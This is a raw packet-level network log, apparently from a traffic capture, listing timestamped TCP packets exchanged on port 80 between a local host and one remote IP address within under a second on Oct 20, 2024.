Oct 20, 2024 06:40:18.843090057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843101025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843111992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843121052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843122959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843133926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843146086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843147993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843163967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843203068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843403101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843414068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843422890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843434095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843435049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843446016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843456984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843461990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843467951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843481064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843488932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843489885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843501091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843513012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843514919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843525887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843537092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843548059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843554974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843566895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843578100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843584061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843596935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843602896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843609095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843626022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843636990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843647957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843648911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843660116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843671083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843682051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843683004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843693972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843703985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843703985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843715906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843719959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843728065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843738079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843750000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843760967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843765020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843775988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843787909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843787909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843797922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843807936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843810081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843821049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843823910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843832016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843842983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843853951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843856096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843868017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843878984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843892097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843894005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843904018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.843916893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.843949080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.844396114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844408035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844418049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844429016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844434023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.844439983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844450951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844461918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844463110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.844474077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844485044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844491005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.844497919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844508886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844508886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.844521999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844531059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.844535112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844544888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.844549894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844559908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844572067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844583988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844594002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.844598055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844623089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.844635963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.844696045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.844755888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844767094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844784975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844796896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844803095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.844809055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844827890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.844829082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844840050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844851971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844863892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.844871998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844882965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844897032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.844899893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844912052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844921112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.844923019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844938040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844949007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844959974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844964027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.844971895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844980001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.844984055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844996929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.844999075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.845015049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845019102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.845026970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845037937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.845046043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845057964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845067024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.845069885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845082998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845094919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.845096111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845107079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845112085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.845118046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845129967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845139027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.845141888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845155001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845164061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.845165968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845177889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845182896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.845191002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845201969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845213890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845225096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.845268011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.845325947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.845469952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.845699072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845710993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845722914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845732927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.845735073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845746040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845751047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.845757961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845769882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845776081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.845782042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845794916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845805883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845815897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.845818043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845829010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845839977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.845840931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845854044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845854044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.845864058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.845881939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.845906019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846092939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846106052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846115112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846127033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846138954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846142054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846152067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846163988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846163988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846175909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846178055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846188068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846199989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846203089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846210003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846223116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846226931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846235037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846242905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846257925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846276045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846277952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846290112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846299887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846306086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846312046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846326113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846330881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846343040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846352100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846354961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846365929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846373081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846378088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846389055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846400976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846400976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846412897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846425056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846426964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846436977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846445084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846451998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846460104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846463919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846474886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846484900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846487999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846501112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846510887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846513987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846524954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846525908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846539974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846549988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846551895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846564054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.846574068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846589088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.846610069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847037077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847048998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847059011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847070932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847079992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847083092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847095966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847106934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847109079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847117901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847129107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847130060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847141981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847142935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847153902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847167015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847173929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847177982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847189903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847198963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847202063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847213030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847227097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847249031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847450018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847461939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847471952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847482920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847487926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847495079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847506046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847507000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847517014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847528934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847532034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847542048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847548962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847554922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847563982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847567081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847579956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847590923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847594023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847609997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847621918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847625971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847640991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847642899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847655058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847666979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847670078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847686052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847686052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847698927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847708941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847711086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847723007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847733974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847742081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847747087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847758055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847764015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847769976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847779989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847783089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847791910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847800970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847805023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847816944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847816944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847829103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847837925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847841024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847852945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847863913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847865105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847876072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847878933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847888947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847899914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847903967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847913027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.847927094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.847950935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.848026037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.848206043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.848403931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848414898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848424911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848436117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848448038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848457098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.848460913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.848473072 CEST	80	49730	185.215.113.37	192.168.2.4
